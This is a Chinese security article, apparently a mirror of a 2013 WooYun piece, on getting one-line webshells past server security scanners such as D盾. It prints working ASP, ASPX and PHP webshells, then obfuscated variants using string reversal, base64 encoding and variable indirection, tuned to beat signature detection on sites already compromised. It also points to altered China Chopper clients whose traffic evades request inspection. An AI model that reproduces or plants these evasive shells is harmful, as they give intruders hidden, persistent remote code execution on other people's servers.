"一句話"的藝術——簡單的編碼和變形繞過檢測

wyzsk發表於2020-08-19
作者: RedFree · 2013/12/30 12:04

0x00 背景


話說現在針對Web端檔案程式碼檢測的伺服器安全類軟體已經非常普及了,常見的有阿D保護盾、安全狗、護衛神、360網站衛士。它們所擁有的功能也大致相同,如:

+---------------------㈠----------------------+  
|① 檢查SQL隱碼攻擊                                |  
|② 檢查XSS程式碼                                |  
|③ 檢查網站中有危險程式碼的檔案                    |  
|④ 資料庫許可權管理、風險行為檢查                  |  
+---------------------㈡----------------------+  
|⑤ 網站流量監控                               |  
|⑥ 網站日誌管理                               |  
|⑦ 系統程式管理                               |  
|⑧ 埠狀態檢視                               |  
|⑨ 系統賬號、特殊位置檔案檢查                   |  
|⑩ 防禦ddos、cc攻擊                           |  
|   ……                                       |  
+-------------------------------------------+  

可以將這些功能按下面進行分類:

                                    +----(檢測Get內容)  
                                    |  
                 +----(未入侵)-------|----(檢測Post內容)  
                 |                  |  
                 |                  +----(檢測Http請求頭、請求頻率等)  
安全類軟體--|  
                 |                  +----(日誌審查分析)  
                 |                  |  
                 +----(已入侵)-------|----(後門檢測清除)  
                                    |  
                                    +----(系統安全加固)

本文所針對的情況是:在已取得Webshell(一句話)[為什麼不是大馬呢,因為大馬被殺的機率更高]的情況下繞過網站安全類軟體的檢測成功執行任意程式碼。

0x01 技術細節


要讓“一句話”可以接收程式碼、執行程式碼、返回結果,首先要具備的條件是“一句話”已經透過檢查。好吧,少說廢話,開始行動吧!

已準備工具:

D盾_Web查殺(D盾殺的Shell比較全)

ASP、ASPX、PHP原生態無汙染一句話

<%eval request("z")%>;
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>;
<?php @eval($_POST['z']);?>

來看一下D盾對原生一句話的查殺情況吧!

2013122817573781043.jpg

Shit!,級別為5(eval後門)全部殺掉!這樣也就是說即使你的一句話已經躺在目標網站目錄了,訪問的時候也會被WAF斷掉連線。這樣一句話本身也就失去意義了,更別說去使用它了。

那麼這種情況下該怎麼做呢?我的答案是:就像Windows下做exe的免殺一樣,找到殺軟體殺掉的特徵碼然後改掉或是繞過。當然免殺Shell比免殺exe簡單的多了……

開始對我們的一句話做“免殺”吧!在此之前先來了解一句話木馬的原理。對比下asp、aspx、php一句話,你發現了什麼?

2013122818002311061.jpg

看到了吧,不同語言的一句話構成幾乎完全一致!(首先請求客戶端資料,然後執行請求到的資料)至於執行資料的來源,可以是Post,也可以是Get、cookies、session等(依然是Post、Get);如果考慮到資料長度、編碼、隱蔽性等諸多因素當然還是使用Post方法最為合適。

那麼伺服器安全類軟體殺的究竟是什麼東東呢?前面說過了:“特徵”,我們來做如下測試:

2013122818021354299.jpg

我把Request/POST前隨便加了一個字元,再掃一掃,結果如上圖。可見安全類軟體殺掉的不是eval(execute/executeglobal/assert……),而是eval+"請求資料"。當指令碼內有eval字串時僅僅只是提醒而已(如果連執行函式都殺,那“上帝”造它幹嗎!)。但是上圖中的三個指令碼沒一個是可以正常執行的,哪有srequest呢!

這樣我們就沒招了嗎?答案是否定的!我們可以用這樣的方式來繞一繞:[exec decoding(excoding)]=》虛擬碼。其中excoding為已經編碼了的原生一句話。encode和decode函式自己創造吧……

經過一番功夫,我把Shell程式碼改造如下(當然如下程式碼都不是最好的,因為我有點懶):

ASP:

#!php
<%
Function MorfiCode(Code)
    MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCode(")/*/z/*/(tseuqer lave")
%>

ASPX:

#!php
<script runat="server" language="Jscript">
function popup(str){
    var q = "u";
    var w = "afe";
    var a = q + "ns" + w;
    var b = eval(str,a);
    return(b);
}
</script>
<%
popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
%>

PHP

#!php
<?php
$mujj = $_POST['z'];
if($mujj!="")
{
    $xsser = base64_decode($_POST['z0']);
    @eval("\$safedg = $xsser;")
}
?>

效果呢,如下圖:

2013122818065476520.jpg

實測至此與Shell的連線已經不會被斷了,而且以上三個一句話都支援我們親愛的“菜刀”連線。但實際上你用菜刀是連不上的,因為安全類軟體還會檢測Get、Post、Cookies……的內容,菜刀Post資料包中含有太多的關鍵字(execute、response.write,base64_decode…… 不信你截包看一看)。這樣有什麼方法來突破呢?哈哈,兩種方法:

一、反彙編改造“菜刀”(依然會有特徵)       詳見:http://zone.wooyun.org/content/8169 二、自己寫個“菜刀”(可完全沒有任何特徵)   詳見:http://zone.wooyun.org/content/8137

                    程式碼自定義編碼後傳送  
菜刀(客戶端)《================================》一句話(服務端)  
                   解碼後執行返回(編碼)資料

現在,我們已經可以使用“菜刀”管理有網站安全類軟體的站點了,可美中不足的是依然會被提示Execute/eval/base64_decode加密。因為正常情況下很少有用到eval/execute/executeglobal……函式(有經驗的管理直接搜尋eval、execute、assert等,見到包含在、所以呢,看實際情況和使用的地方了,自己選擇。

透過簡單的變數傳遞便可以實現免殺(php語法真的好靈活,能免的連個毛都不剩下)……
我使用如下程式碼作為一句話:

#!php
<?php
$x=$_POST['z'];
@eval("\$safedg = $x;");  
?>

當然您不滿意的話可以繼續搞,連eval都給拆了!使用preg_replace、array_map或是從REQUEST的變數中取得eval、assert……,實沒D盾都會有不同等級的報告(提示可疑但不認識,畢竟這些不常用函式都挺有風險……),我是挺懶,不想搞了……
看效果:

2013122818201195763.jpg

關於如何玩轉一句話已經寫的差不多了(本人水平問題ASPX、PHP未能寫的更詳細!以後補充……)。如果將來一句話因為關鍵字被殺實再玩不鳥了(可能性不太大),那就轉業自寫Customize指令碼吧,至少檔案讀寫,資料庫連線這些功能是不會被殺的。

參考:

http://qqhack8.blog.163.com/blog/static/114147985201211292209893/

http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章